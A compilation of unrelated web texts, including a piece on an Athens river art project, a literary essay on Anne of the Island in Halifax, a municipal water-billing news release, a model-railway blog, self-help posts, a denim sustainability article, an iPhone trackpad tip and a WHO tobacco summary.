Since Schellow’s drawings and films are created on site by the river, Yvonne and Corinne also wanted to show them there. However, the crisis has thrown a spanner in the works for the time being. Yvonne says that in times of catastrophic national debt and social unrest people simply cannot squander vast sums of money on expensive film projections. That is also an example of the influence of environmental awareness towards art. ‘We wanted to be interacting with the community and for there to be an action attached, rather than just talking,’ adds Corinne.
Children from different ethnic and social classes watch Schellow’s animated films and create their own works on the Kifissos theme
‘Right now, everybody is talking and nothing is happening. Now is the time to really implement all the big ideas and visions into practice. For us it's about creating things on the ground that can continue past just the event, it's not about one-time things, but about longevity.’ Project Nero continues to live primarily in the Neraki workshops, where children from different ethnic and social classes watch Schellow’s animated films and create their own works on the Kifissos theme. ‘We don't want everyone to think like us. It's not an ideology, it's a way of being open to changing. It's an individual decision, you can't force anybody to change, you can inspire them.’ Yvonne and Corinne have aimed for nothing more and nothing less. It has done the Kifissos good; even though it still remains under concrete and expressways run before it, at least a few Athenians can now recall it again.
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One day, Anne and her friend Priscilla Grant spend their afternoon deciphering the epitaphs on the weathered gravestones here in the Old Burying Ground. Some of the names they mention are Albert Crawford and Alexander Ross. See if you can find their tombstones on your next visit or try your luck virtually in the Old Burying Ground Graves Database.
Anne and her friends highlight a bottom-up history of the Old Burying Ground by pointing out the tombstones of someone’s “favourite child,” a servant, and a “middy” (or midshipman), a junior-ranking naval officer. Montgomery emphasizes many of the tombstones’ modesty—most are “roughly chiselled brown or gray native stone.” This emphasis on earlier, modest Haligionians connects to Anne’s own humble background as a “poor” “country girl,” moving to the city and going to university, despite financial constraints and social pressure. Earlier that day at university registration, Anne felt “insignificant” and dramatically states, I “knew I would go down to my grave unwept, unhonored and unsung.”
From her personal experience, Montgomery was particularly aware of the barriers to women’s post-secondary education. She had to scrimp and save to attend Dalhousie College, and could only afford one year, not the full four-year degree she longed for. She also had to go against opinions at home in rural Cavendish, Prince Edward Island—as she wrote in her journal, her grandparents, also her guardians, were “so bitterly against [her higher education] that I was getting discouraged” (August 9, 1892).
Anne follows Montgomery’s own steps to Dalhousie (or as it’s called in the novels, Redmond College). Anne, as the first woman from her rural hometown of Avonlea to go to university, repeatedly second guesses herself during this pioneering endeavour. After all, at the turn of the twentieth century, small-town Canadian women are supposed to get married, not go to university. Avonlea matrons, including Mrs Rachel Lynde, make this clear to Anne. Ultimately, Montgomery gets to live vicariously through Anne, who finishes a full degree, while enjoying a full social life.
Montgomery, by reimagining her own university experiences in Anne’s fictional ones, creates a novel that honours the experiences of the first generations of women, working-class, and rural post-secondary students in Canada. As you’ll see by exploring these literary landmarks, green spaces in this novel—initially the Old Burying Ground, later the garden of Anne’s rented house, and then Point Pleasant Park—are central to her academic success, supporting her all-round physical, intellectual, and emotional well-being.
When Anne leaves the Old Burying Ground on the day she and Priscilla go exploring, our heroine highlights the connection between herself and the young “middy.” Anne honours him by dropping her corsage of flowers on his gravel; he, like Anne herself, does not go to his grave unhonoured. Montgomery is turning our attention to the Halifax stories that are not always told or known, including those of the ordinary sailors, students, and new arrivals to the city.
Montgomery, L. M. Anne of of the Island. Boston: L.C. Page, 1915.
___. The Complete Journals of L.M. Montgomery: The PEI Years, 1889–1900. Edited by Mary Henley Rubio and Elizabeth Hillman Waterston. Don Mills, ON: Oxford UP, 2012.
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“According to Friedrich, a U.S.-based air conditioning manufacturer, the hot trend for summer of 2016 is a rising consumer interest for more precise and efficient air conditioning. That includes a bigger demand for ductless air conditioning systems. Ductless systems work by cooling only the rooms in use, not those that aren’t. Because they offer the advantage of being extremely quiet, sleek, and energy efficient, more homeowners are opting for ductless for its ability to quickly cool rooms, maintain accurate temperatures, and reduce energy costs.” Read the article here.
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Field choice of autumn staging and wintering geese in southwestern Sweden 1977/1978–2011/2012
Keywords:Anatidae, population studies, winter ecology, survey, staging sites, monitoring, stopover sites
Goose counts have been made in September, October, November and January since September 1977. Staging Greylag Geese Anser anser increased from 19,000 in 1984 to 250,000 in 2008–2010, mainly due to a corresponding population growth, and a wintering tradition was established with a maximum of 50,000 in 2008. Staging and wintering White-fronted Geese Anser albifrons increased from less than 3,000 to up to 40,000 and 25,000, respectively, due to a northward shift of the sites. Wintering Canada Geese Branta canadensis increased from less than 10,000 to a peak of 70,000 in 2009–2010, mainly an effect of the growing Swedish population. Staging of the Barnacle Goose Branta leucopsis is a new tradition established in autumn 2,000, with no less than 150,000 in 2011. Sweden is the autumn staging area for almost the entire Taiga Bean Goose Anser fabalis fabalis population that has decreased in recent years. During the same period Tundra Bean Geese A. f. rossicus have started to stage in larger numbers, the overall counts of Bean Geese giving an impression of stability in recent years.
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News release: July 8, 2021
Share your feedback on how we pay for water/wastewater services in the future
Brampton, ON (July 8, 2021) – Peel Region is encouraging residents to get engaged in the process as the Region develops its water/wastewater services long-term financial plan.
In this first stage, Peel hopes to get a better understanding of how the community values water and wastewater services, if their current water bills are easy to understand, and what is important to them when thinking about rate options for the future. Citizens can share their feedback at peelregion.ca/fp. anytime between now and October 8.
Why financial planning is important
Over the next 10 years, Peel will need to invest billions of dollars in the drinking water and wastewater systems to upgrade pumping stations, treatment facilities, and underground pipes. Peel wants to continue to make wise investments in water and wastewater to ensure high-quality and reliable services remain for decades into the future.
Ongoing system maintenance and upgrades are paid for by money collected from water bills. Community input into how Peel could charge for services is an important part of the review process. This will help us ensure we keep rates fair and equitable; we charge in a way that provides good value, and it is connected directly to how different customers use water and wastewater services.
At the Region, it has always been paramount to balance the services we provide today with the long-term infrastructure and service needs. One way to effectively plan for the future is to develop financial plans that assess what it will cost to provide these services and how best to plan to pay for them. Taking the time to provide feedback helps us ensure that any changes we recommend to the way we charge for services meet the needs of the community.
Kealy Dedman, Commissioner of Public Works, Region of Peel
Region of Peel
The Region of Peel works with residents and partners to create a healthy, safe and connected Community for Life for approximately 1.5 million people and over 175,000 businesses in the cities of Brampton and Mississauga and the Town of Caledon. Peel's services touch the lives of residents every day. For more information about the Region of Peel, explore peelregion.ca and follow us on Twitter @regionofpeel and Instagram @peelregion.ca. | <urn:uuid:6ff0ecc7-02f7-4797-b6e6-4a189fd74af7> | CC-MAIN-2022-33 | https://peelregion.ca/news/archiveitem.asp?year=2021&month=6&day=8&file=202168.xml | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572833.95/warc/CC-MAIN-20220817032054-20220817062054-00465.warc.gz | en | 0.944965 | 488 | 1.71875 | 2 |
Tonight’s project is working on lettering on a few cars. Since I acquired “more than one” 6-packs of Algoma Central gondolas when Rapido Trains released their new Canadian gondola in AC colours, I have a number of cars with duplicate numbers to change. Also, some later repaints had a simplified version of the bear logo without the railway’s name spelled out in an encircling band around the logo. I have several sets of CDS dry transfers for AC gondolas in my lettering stash, and these sets include both versions of the logo, so I decided that on at least a few cars I will also replace these logos for some visual variety.
To remove the original lettering, I used the edge of a curved scalpel type blade. If you work very carefully, and with a light touch, you can scrape away the original lettering with little trace remaining. The new number and logo will also cover over the same spots, and a little bit of light weathering will completely hide any uneven spots.
In the close-up photo you can more clearly see the difference between the logos. The top logo, as featured on the factory-painted Rapido model, includes an outer band around the logo with the railway’s name. The lower logo, applied from a CDS dry transfer lettering set, is a simplified version without the railway name and a proportionally larger bear silhouette.
I also removed the NSC builder’s logo (below the car data) and the fill lines (above the “GO MA” and “NT RA” panels) from the lower car, and I’ll probably actually be going over all of the cars I have and removing the builder’s logo from all of them. (Information suggests that when brand new/as built the original series of cars acquired in 1958 (AC 601-800) were originally painted *brown*, although photos of these cars in original paint are extremely hard to come by. AC 801-875, built in 1961-62 were probably delivered in black, as were coil steel service cars in series AC 900-924, built in 12/1962 and for which I have photos that clearly show the original NSC builders logo. The 900-series also had a slight variation in the font of the billboard lettering…) | <urn:uuid:90b10dfb-a95e-4aa2-a9d5-84fe804552e3> | CC-MAIN-2022-33 | https://vanderheide.ca/blog/2014/11/19/rapido-gondola-renumberings-and-alternate-logo/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573744.90/warc/CC-MAIN-20220819161440-20220819191440-00465.warc.gz | en | 0.962077 | 490 | 1.539063 | 2 |
Thirty-Six-Week Career Track Course
Research in the field of vocational education has shown, without question, that there is a direct correlation between the amount of time spent training in a formal educational situation and the level of success achieved by the individual trainee. More education = More success. The feedback we have received from former students, horse owners and practicing professional farriers, supports that notion. Therefore, we have developed what we feel is the premier farrier training course available in America. This course includes classroom theory, hands-on practical training, work-study and a structured internship program which, combined, give the student the maximum chance for success as an entry-level farrier.
This professional farrier course is a performance based curriculum designed for those students with high expectations. In addition to mastering the skills in the 12 and 24 Week Course, the 36 Week student will gain an understanding of advanced anatomy, biomechanics, lameness, and pathology, modern materials (use of adhesives, urethanes, non-ferris shoe appliances, gas welding and brazing, mig welding, and tool making), personal health strategies, advanced business strategies, critical thinking strategies, farrier/vet relations, public speaking, and breed and sport specific shoeing techniques.
During this course you will also learn how to interpret radiographs and to communicate with owners and veterinarians in a professional manner while formulating your treatment strategies. In this process you will learn communication and business skills that are critical to your business success.
This course covers classroom instruction plus lab and workshop instruction. Students who achieve a rank of High Distinction in this class will be invited to enter our National Farrier Training Program (NFTP). The NFTP adds a structured, paid apprenticeship (internship) coordinated with an American Farriers Association Certified Journeyman Farrier. Please see “National Farrier Training Program” on this website. The NFTP is unlike any other program of it’s kind available today, and what we consider the fastest path to assured success.
Students in this course are responsible for assigned readings and homework. If possible, it is suggested that each student bring their own laptop or comparable computer as some homework will be required using a computer.
Thirty-Six-Week Career Track Farrier Course Outline
|Cadaver leg trimming||14 hrs.|
|Live horse trimming||370 hrs.|
|Shop Forging||312 hrs.|
|Shoeing Feet & Horses||381 hrs.|
|Forging Practice||136 hrs|
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10 Ways Mindset Affects Your Success
Mindset affects the way we see things, the meaning we attach to the same situations,
the questions we ask ourselves, and ultimately our success in life.
It’s not just about financial success but success in all other aspects of our lives e.g. fitness, career
goals, health, and all our dreams and aspirations.
One of the most popular books on the personal finance space is “Rich Dad, Poor Dad.”
This book was based on the author interacting with two “fatherly figures- (his dad and his friend’s
Both had vastly different financial success and mindset toward success.
When Robert Kiyosaki took time to recollect the words and actions they took daily he
discovered MINDSET was the biggest factor that contributed to their different financial
successes in life.
He discovered that mindset determined whether you say, “I can’t afford this” while doing nothing about it vs “How can I afford this” and taking action. Same problem, a different mindset, and different levels of success.
The one major limit to wealth and success in life is how we constrain ourselves with the mind.
10 Ways Mindset affects your Success.
1: Taking full responsibility for your life
Jocko Willink wrote a book and talked about “Extreme Ownership” as the #1 reason people fail or succeed. It’s easy to be trapped in self-doubt, blaming others, depression, and toxic relationships when you have a poor mindset.
But when you commit to taking 100% responsibility for your life and develop a growth mindset, you can naturally grow to
become a person that can achieve success and attract like-minded people that’ll take you closer to your goals.
2: Staying consistent
Consistency is hardly something you do out of mistake but through dedicated effort. If
If you want to achieve success in anything – you have to make a decision and make
dedicated effort to stay consistent at it.
Work on your Mindset to avoid common pitfalls that can prevent your success, growth in life, and business by
creating a game plan today and taking consistent action.
3: Maintaining the Right Attitude
Having a positive attitude towards your goals will increase the likelihood of success.
Cultivating the right Mindset is critically important, not only to your business
success but also to your personal life.
Success is not linear! You must keep a positive attitude even when things are not going as expected. It takes you believing it is possible. Then with time and consistent effort, you’ll make it happen.
The most successful people are self-driven and maintain the right attitude towards their success.
They take advice and think through decisions but they don’t wait for luck, mentors, or their coaches to do the work for them.
4: Taking Risks
All successful people I know have taken one risk or the other. They don’t just pause or
go into safety mode after any success but they keep on taking more calculated risks.
Have you ever been with people that are afraid to take the tiniest risks about problems?
If you’re afraid to give your dreams a shot – work on changing your mindset today so you can learn to take risks.
Sometimes you just need to ask yourself and people ahead of you the right questions to develop the habit of taking risks. Good questions will get you answers and will help you reach your goals.
Many successful people have lost quite a decent amount in building their businesses but are hardly shaken by failure because they’ve developed the right mindset of success from the start.
Successful people don’t dwell or complain about failures because they have a mindset of perseverance to get to their desired destination.
My Friend Josh Cousins says it best in his coaching and mastermind here: “If you go into this business with a half heart, or decide to just quit after a few days of not getting the results you want, then you’re going to fail. “
So many people compare themselves to those who have been making 6, 7, and even 8-figure commissions but what they don’t understand is these people have been in this game for YEARS mastering their craft. They’ve gone through the process of trying and failing
themselves, but the difference is they didn’t give up.
They committed to spending each and every single day mastering their craft. They had the persistence to keep on going even when it looked like they were never going to succeed. THAT is what separates those who succeed from those who fail. Sheer persistence and an insane drive are needed to become successful.”
6: Change your Environment
Once you realize that you’re then you start your environment plays a huge role in your success, then you start being more conscious of who you associate with and where you spend time in.
It’s important to surround yourself with people smarter and more successful than you. Surrounding yourself with people who believe in you and are supportive of your goals can provide motivation and encouragement.
7: Going the Extra Mile
Successful people go the extra mile – that is one big reason they are successful in the first place.
They don’t do more than they’re paid because of boredom or luck but by cultivating the “extra mile mindset” required to be successful.
When it’s uncomfortable you have a choice of moaning, complaining, and blaming everything around you instead of going the extra mile, and doing everything in your power to achieve the level of success you have been dreaming of!
First, you need to be clear about your why. Also in line is– if you love what you do – you won’t mind going the extra mile.
This is key to developing conviction and bringing results and success) consistently. Imagine the likes of late Kobe Bryant achieving all those feats without having any love for Basketball. Having a love for what you do especially when it aligns with your values and purpose is a plus. It makes work not feel like work.
8: Building a Solid Foundation
What are you doing now towards your success? Do you have beliefs that are stopping you from your own growth?
Kick out ego, greed, fear of your own growth, and scarcity mindset and replace them with a gratitude mindset, abundance mindset, and growth mindset to build a solid rock-solid foundation to achieve success.
The key is to replace old limiting beliefs and install more empowering ones. It takes self-awareness to change your language! Instead of “What if I fail,” “what if everything goes wrong” to “what if I Succeed” or “what if everything goes right” and expecting success instead of failure.
Commit to laying the foundation for your success first by laying them down each and every day. Soon you’ll find yourself a castle( so to speak).
9: Investing in Yourself
This can mean reading the right books, meditating, having proper health, and building and maintaining a strong positive mindset.
Successful people have a mindset of taking care of their bodies to prevent burnout, reinvesting their earnings into growing their self
and businesses, and still believe that they have more to learn.
You don’t need to be “rich “or “successful” to invest in yourself. Change your mindset from waiting to have figured everything out to investing time to learn from books and educational materials and getting mentorship and coaches.
10: Have a solid Vision
Most of us were taught to “work hard… get good marks… get into a good college… then
get a job”- the middle-class dream and vision.
But that is not the only way to be successful. If you have a different vision or feel called to do something that doesn’t include college, it is great too. You just have to have conviction and vision. It takes a powerful mindset and attitude
to have a big vision.
Visualize achieving your goals to make them seem more attainable, and help you stay on track. No matter what happens in your life, keep your vision intact – no one can take it from you. It’s only lost when you give up.
People who don’t have the same goals and vision as you will never understand why you do what you do.
Remember, success doesn’t happen by chance- it comes from your effort.
So get clear on your vision, outline your priorities and manage your time effectively, take action daily so you can reach your desired goals and dreams.
I’ll leave you with a quote from Vishien in his book –Code of the Extraordinary “I’ve observed that almost all of the extraordinary people I’ve met or read about have one thing in common: They have a vision for their future. It may be a new piece of art to create, a service or product to bring to the world, a mountain to climb, or a family to raise. These people live in the future in some way. Conventional spiritual growth
advocates talk about the need to be “present.” I believe that being present is only part of the story. Happiness in the now grounds you in the present. But you need bold dreams pulling you forward, too. Extraordinary people intend to leave a mark on the world”
As you can see mindset contributes a lot to success, and mindset also contributes to failure. Promise me that you will embrace a growth mindset, a positive and abundance mindset. When you do that and consistently work towards your goals, no one can stop your success. It is guaranteed.
This was post was written by Emmy Steve. Emmy Steve writes on his personal blog that helps Entrepreneurs optimize their focus, energy, and health. He studied Pharmacy in college but ever since has been a committed writer and Entrepreneur. You can connect with him onTwitter@stevewinroad where he loves to hang out and share ideas with other entrepreneurs.
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The objective was to share ideas and good practices among professionals and experts in the sector gathered at the University of Lleida. Segarra stressed the economic importance of the sector, which also contributes an important important territorial component, which can help to curb the depopulation of rural areas.
Another important factor highlighted by Segarra is the importance of non-technological innovation in the sector. Since 2005, improvements have been made in terms of organizational innovation and marketing innovation, which together with technological innovations are key to the future of the sector. Another issue to be addressed is public aid received by the agri-food sector. Segarra did not show otherwise, but warned that these grants could discourage private sector investment. For this reason, one of the solutions that it contributed is to favor the fiscal benefits, for example, making investment in R & D devalued. Finally, Agustí Segarra also emphasized that one of the long-term goals should be the cooperation of agri-food companies.
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Are you easily distracted at work?
Do you shy away from talking about your work because it’s boring?
Do you want to lead a more interesting life surrounded by interesting people?
If so, then it is time to start thinking about work differently. It may sound like a simple idea, but having an interest in the work you do can improve your life.
By the end of this blog post you will understand:
- the importance of work in our lives
- what it means to do work you’re passionate about or interested in
- the 3 reasons why interest in your work leads to a more fulfilling life
- how to figure out what kind of work interests you
Why Do We Need Work
In the age of rapidly increasing automation, there is a phrase that gets tossed around quite a bit:
“Humans need work much more than work needs humans.”
Because work gives us a sense of purpose. It can challenge us to improve, allow us to feel connected to our communities, give us regular goals to meet which provide us with a sense of fulfillment, and it enables us to support ourselves and our families.
On the flip side, humans without a sense of purpose can find themselves feeling stuck, depressed, anxious, and in tragic cases, hopeless and worthless.
So, work is important because it can give us purpose, but what about passion?
What is Passion?
The definition of passion most relevant to this discussion is:
- an intense desire or enthusiasm for something
In other words: you give a shit about what you do.
It’s one thing to work a job just because you want a paycheck.
It is a completely different thing if you are actively interested in what you do for that paycheck.
Just think about the last time you got excited about something—what did you do?
For me, when I get excited about something, I can’t learn enough about it. I want to read about it on the internet, watch YouTube videos and documentaries that cover it, find podcasts that discuss it, listen to audiobooks about it, and talk to my friends and family about it. I want to be knowledgeable about it and put that knowledge to use, even if it’s just writing about it or talking about it.
3 Reasons You Should Care
Fulfillment and Happiness
If you’re spending 8-12 hours a day doing work you don’t care about, how challenging do you think it would be to feel happy or excited about your work?
How difficult would it be to wake up feeling motivated and enthusiastic about tackling your day if you could not care less about what you are doing all day long?
Now imagine spending one third of your waking life doing something you are genuinely interested in, learning about, and getting better at.
Sound good? Then keep reading and we’ll get you there!
People tend to associate with like-minded people.
If you hate your life, you are going to struggle to make friends with people who love theirs.
Why would people who have a passion for life want to spend their precious time around people who do nothing but complain about everything that happens to them?
People who lead interesting lives associate with other people who lead interesting lives, and people who lead boring lives associate with other people who lead boring lives.
The same thing goes for work. If you do work you’re not interested in, how likely are you to build connections with people who love their work?
If you want a social circle and professional network of interesting people, then you must lead a life interesting enough for those people to want to be a part of it. And if you want to be more interesting, the first step is to spend your time doing things you are interested in.
All other things being equal, who do you think will earn more money in the long run?
- The guy who shows up for work, doesn’t really care, and does the bare minimum to not get fired?
- The guy who shows up for work, pours his heart into it, and helps out his coworkers, all because he has a genuine interest in what he’s doing?
Who is more likely to have positive feedback during annual reviews? Who is more likely to get promoted? Who is more likely to network and be offered other higher paying opportunities?
Finding Your Passion
Let’s think of this phrase through the framework of what we’ve been discussing.
Finding your passion is not about spending your life finding THE ONE THING you want to do the rest of your life.
Finding your passion boils down to trying new things and figuring out what you enjoy doing enough to do it everyday.
Do you already have hobbies or interests you enjoy doing?
Then start exploring those and do some research into how to make a living from them. In the age of the internet, there are bound to be people you can talk to who turned the same interests you have into work they love.
And what if you want to try new things?
Some examples of new things you can try include:
- Cooking. Maybe learning to cook by watching instructional videos on YouTube sparks an interest in growing your own food and you decide to go work on an organic farm in Sweden where you meet the love of your life and you two decide to start your own farm in the hills of Greece.
- Coding Bootcamp. Maybe you finish the coding bootcamp and realize you don’t want to code but one of the friends you made throws an amazing business idea your way and asks you to come on board in a leadership role after seeing how well you handled the group projects.
- Painting Classes. Maybe you get so hooked on painting that it consumes your free time until a few years later when someone sees your art on Instagram and commissions you for a series of paintings.
- Dancing Classes. Maybe you realize you don’t like dancing but one of the friends you make in the class invites you to go surfing and you discover a love for marine biology which inspires you to go back to school.
The point is you don’t know where these things will end up before you start. And you don’t know who you’ll meet or what you’ll learn about yourself along the way.
And if you never try, how will you ever know?
In a Nutshell
A sense of purpose gives us fulfillment in life and a reason to get out of bed each day.
For many of us that purpose comes from the work we do everyday, whether that work is in an office, at a construction site, or at home raising children.
So, we shouldn’t simply look at work as a means to an end (a paycheck), but as something we can find meaning and satisfaction in.
If work is meant to provide you with purpose and meaning, it’s important to look for something that is engaging and interesting. Having an interest in what you do will then:
- make your life more interesting and enjoyable
- attract other interesting people who are passionate about their work
- and provide you with a source of income you can take pride and ownership in rather than a torturous chore you have to suffer through
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President Obama has issued an executive order which will temporarily halt the deportation of young undocumented immigrants. Under this policy, exemption will apply to undocumented immigrants who are high school graduates, returning war veterans and law-abiding members of society. Eligibility requirements are restricted to current U.S. residents of five years who are under the age of 30 and immigrated before the age of 16. The Department of Homeland Security will allow two years of “deferred action,” which exempts undocumented workers from deportation and provides an opening to obtain legal work permits. The Obama administration states that an estimated 800,000 people will be spared from the threat of deportation and given the opportunity to work under the act.
The Highlander Editorial Board supports President Obama’s initiative for providing temporary relief to undocumented students who wish to pursue employment and education in the land of opportunities. At the same time, we also share the belief that if Obama is willing to enforce a provisional policy towards such a broad and controversial issue, then a much-needed overhaul in immigration reform needs to be pursued. It is pertinent to expand beyond that of a simple political move in creating promised change, which initially landed Obama in the presidential arena.
Support for new immigration policies revived backers of the Development, Relief, Education for Alien Minors (DREAM) Act, which has failed to gain enough Congressional support since its reintroduction in 2009. The DREAM Act would have allowed undocumented U.S. residents to apply for temporary or permanent residency depending upon higher education or military experience.
In a Bloomberg National Poll published June 19, two-thirds of likely voters expressed support for Obama’s immigration policy. Obama has also gained overwhelming support from Latino voters, who made up 9 percent of his votes in the 2008 presidential election.
By taking a position on one of many controversial issues, Obama has sidestepped a polarized Congress in order to inch toward much-needed reform. Despite the obvious political motives with his reelection campaign in full-gear, Obama deserves credit for introducing his political stance and bringing the important issue of immigration back to the forefront of policy discussions.
Eligibility requirements for Obama’s policy still present possible loopholes due to overly specific criterion. For undocumented immigrants who choose to disclose their position by obtaining a work permit, they may be risking deportation after two years if Obama is unable to enact more legal protections. Obama’s preliminary efforts toward immigration reform are applaud-worthy, yet the need for further reform is a must if he’s to adequately fulfill his electoral promises, especially for the sake of undocumented students who risk deportation.
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The denim industry is one of the largest in the world and the Netherlands is its capital. Major denim brands such as Tommy Hilfiger, Scotch & Soda, Calvin Klein and Pepe, design, develop and manufacture here, benefitting from the country’s long-standing excellence in logistics, its business-friendly incorporation and tax laws, and its ready access to the European Union, not to mention its consistently high-ranking quality of life. Powerhouse jeans-makers such as G-Star Raw were founded here.
Anecdotally, fashionistas in the Dutch capital claim the average Hollander owns at least seven pairs of jeans. They’re worn in farms and fashion shows, playgrounds and posh restaurants. Indeed, world wide, only the rarest exception to anyone who wears clothes doesn’t have at least one pair of jeans in his or her closet.
Dirty, Dirty Denim
But the denim industry is also one of the most polluting in the world: the indigo dye which has turned Chinese rivers blue; the employment of too-cheap labor in third-world countries; the excessive amounts of water used (7,000-liters per pair of jeans, according to industry figures), the environmental pollution created when millions of tons of (often cheap) blue jeans are discarded. The industry is global and far-flung: 16 different industries are involved, from cotton growers in the U.S. and Egypt, to dyers in the Far East, to mills in India and Italy and Japan, to cutters and sewers in India or Thailand... You get the picture.
The Netherlands is a world leader in this part, too. Not in promulgating the pollution, but in leading the charge to curb and finally eradicate it -- not at the expense of doing away with blue jeans, but in turning them into eco-friendly fashion, one pair at a time.
It started back in 2009, when the former director of Amsterdam International Fashion Week (founded in 2004) , James Veenhoff, and fashion consultancy owner Mariette Hoitink, realized that the city’s real contribution to fashion and business was denim and if that business was to grow, the entire industry had to be made more sustainable.
Together they launched a non-profit multi-disciplinary initiative -- House of Denim -- incorporating industry research and networking opportunities with Jean School, which just graduated eight students from its three-year course last year. Another 25 are currently enrolled. Corporate sponsors include the C&A Foundation, The European Fund for Regional Development, the City of Amsterdam, Levi Strauss, Tommy Hilfiger, and Candiani Mills, Manufattura Italiana Cucirini, and their own non-profit House of Denim Foundation.
Dutch Blue Denim
Three years ago they -- together with Andrew Ohlah and Lucel van den Hoeven -- launched fashion-cum-manufacturing, industry-consumer event and called it “Amsterdam Denim Days.” Representatives of the entire denim supply chains – from cotton mills to fabric makers to brands and designers, manufacturers and customers – gather to share notes and show off wares in one of Amsterdam’s many reclaimed and repurposed industrial sites. The Kingpins event, organized by House of Denim business partner Andrew Olah, allows industry professionals to meet various providers in the denim supply chain. Today, the seven-day festival for both consumers and industry professionals has enlarged to include major denim retailers and even restaurants in the capital city (think hamburgers with BLUE cheese). They have all drunk the Kool-Aid, stumbling over each other to tell you about their efforts at sustainability. Joking aside, it is an impressive litany.
For example, Alice Tonello, Research and Development Manager of the eponymous family business Tonello Finishing Technologies headquartered in the Veneto region of Italy, told me “our production uses no chemicals – no bleach, chloride, etc." Tonello’s company does all the stressing you find in jeans: the current fashionable shredding and fading, for example. “We work with Jean School students in Amsterdam to show them how these finishing techniques are done. But you also have to start with the right kind of fabric.” Tonello advocates adding a “safe garment” tag to apparel, indicating the kinds of manufacturing techniques used in its production, taking a leaf, as it were, from food and produced labeling.
The Moroccan Denim Cluster turns out more than 60-million pieces of denim clothing a year from its cluster of manufacturers in the Casablanca region. It has duty-free access to the European Union by virtue of its former colonial relations with France, and also exports to the U.S. and Sub-Saharan Africa. The consumer would buy it through such brands as D&G, Inditex (Zara, Massimo Dutti), Copains-Copines, etc. The cotton comes largely from Francofone Africa – Burkina Faso, Mali, Senegal. “We work with our suppliers to promote sustainability,” Meryem Rachdi tells me at Amsterdam Denim Days. “We want sustainably-produced cotton, no child labor. We have invested – with government support – in laundry machines that use less water. We hope to start soon our own fashion school within our cluster to promote sustainable designs.”
Donmatias, Colombia, near the country’s second-largest city Medellin, is known as “Blue Town,” because its 400 adult residents are entirely devoted to the production of denim, according to spokesperson Camilo Gaviria. Donmatias is also showing its wares at Amsterdam Denim Days. “Three generations of workers are working there already,” Gaviria tells me, “working on everything from sewing to finishing."
Denim As Canvas
One of those working on fabric research and development at Donmatias for the last 10 years went a bit further. Juan Manuel Gomez then connected art and denim by painting on denim with indigo. Not for jean designs originally, but as actual art. “I and my wife both studied fine arts in school,” he told me, “and I saw denim and blue jeans as a canvas. I wanted to do art with denim, so I reached out to Alberto and Simon Candiani [Italian mill owners who supply denim fabric globally] and they suggested some of their customers.”
The vision and the connections served Gomez well: Today he is “guest artist” at Denham the Jeanmaker in Amsterdam, where his work incorporates the company’s leitmotif: scissors. His wife makes the sketches, he adds the color. There are the inevitable T-shirts, of course, but Gomez’s work also hangs in private collections in Medellin, Amsterdam and Milan.
Such is the global and complex energy of the denim business. It’s something Mariette Hoitink and James Veenhoff are marshaling to get a global grip on making the world’s most popular garment more sustainable. Hoitink is heading to New York before the summer to see what headway can be made in creating a Denim Association. “Manufacturers can be bringing their experience to the table to promote sustainability, and governments should review their rules,” Hoitink told journalists in Amsterdam. “Right now, manufacturers are trying to solve the problem, but there’s no transparency, no idea-sharing. We just run into each accidentally at trade shows.” She’d like to see her mantra of “reuse, repair, recycle” become standard. “Sustainability is not the starting point,” she tells me. “Innovations is. Sustainability is a logical consequence of innovation.” | <urn:uuid:b553f180-9ce1-4a41-9aa4-e1fc700765b7> | CC-MAIN-2022-33 | https://www.forbes.com/sites/shelliekarabell/2016/04/17/amsterdam-denim-days-cleaning-up-a-dirty-business/?sh=2706502a6dcc | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573744.90/warc/CC-MAIN-20220819161440-20220819191440-00465.warc.gz | en | 0.951456 | 1,630 | 2.21875 | 2 |
In trackpad mode, you turn the onscreen keyboard into a virtual trackpad. Just as on a Mac laptop, moving your finger around the virtual trackpad moves the cursor around in the text above. How you invoke trackpad mode differs between the iPad and iPhone.
Trackpad Mode on the iPad
On an iPad, open any app that allows text input, like Notes, and bring up the keyboard. Touch the keyboard with two fingers, and you see the letters disappear from the keyboard as it switches to trackpad mode. Immediately swipe your fingers (or just one, you can lift the other up) around to move the cursor within the text.
You can also select text in trackpad mode. Instead of swiping immediately after entering trackpad mode, pause with your two fingers down briefly, which causes iOS to switch to selecting text. Then move your fingers around to change the colored selection.
For easier selection of chunks of text, tap once with two fingers to select the word underneath the cursor, twice to select the sentence around the cursor, and three times to select the entire paragraph. To expand or contract the selection, keep your fingers down and drag the selection cursor. To deselect text, tap once on the keyboard with two fingers.
You can use trackpad mode even if you have an external keyboard attached. Tap in a text field, place two fingers inside the field to engage trackpad mode, and then move your fingers to reposition the cursor. To select text, put the cursor inside a word, release your fingers, and tap once to select the word, twice for the sentence, and three times for the paragraph.
Trackpad Mode on the iPhone 6s and 7
To use trackpad mode on an iPhone, you’ll need 3D Touch, which limits it to the iPhone 6s and 6s Plus, and the iPhone 7 and 7 Plus (the iPhone SE does not support 3D Touch, alas). Instead of tapping with two fingers, press firmly on the keyboard with one finger—you’ll feel the iPhone’s Taptic Engine simulate the feel of a click. Keep your finger down to move the cursor around. If you need more room, you can move your finger off the keyboard image right onto the text.
To select a word, relax your finger pressure slightly without removing it from the screen, and then press again. It’s quite similar to the feel of clicking on MacBook trackpad.
You can even double-press—again, with a slight relaxing of the finger first—to select the current sentence and triple-press to select the entire paragraph. Keep dragging after selecting to select more text by the word, sentence, or paragraph.
Trackpad mode takes a little getting used to, but it’s so much better than the previous selection methods that it’s worth forcing yourself to use it a few times until it becomes second nature.
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Tobacco products are the most littered item on the planet, and they contain thousands of toxic chemicals that can end up in the environment, according to the World Health Organization.
Smoking not only kills people, but also severely impacts the environment, the World Health Organization said in a report released Tuesday.
The report, Tobacco: poisoning our planet, published to coincide with World No Tobacco Day, said smoking kills 8 million people every year.
Along with that, the production and consumption of tobacco leads to the loss of around 600 million trees, 200,000 hectares of land, and 22 billion tons of water every year, it said.
Tobacco use and production also contributes significantly to global greenhouse gases, emitting around 84 million tons of carbon dioxide into the atmosphere annually.
"The industry's carbon footprint from production, processing and transporting tobacco is equivalent to one-fifth of the CO2 produced by the commercial airline industry each year, further contributing to global warming," the report warns.
Around 4.5 trillion cigarette filters — which contain non-biodegradable microplastics — end up in oceans, rivers and beaches every year, said Rüdiger Krech, the WHO's director of health promotion.
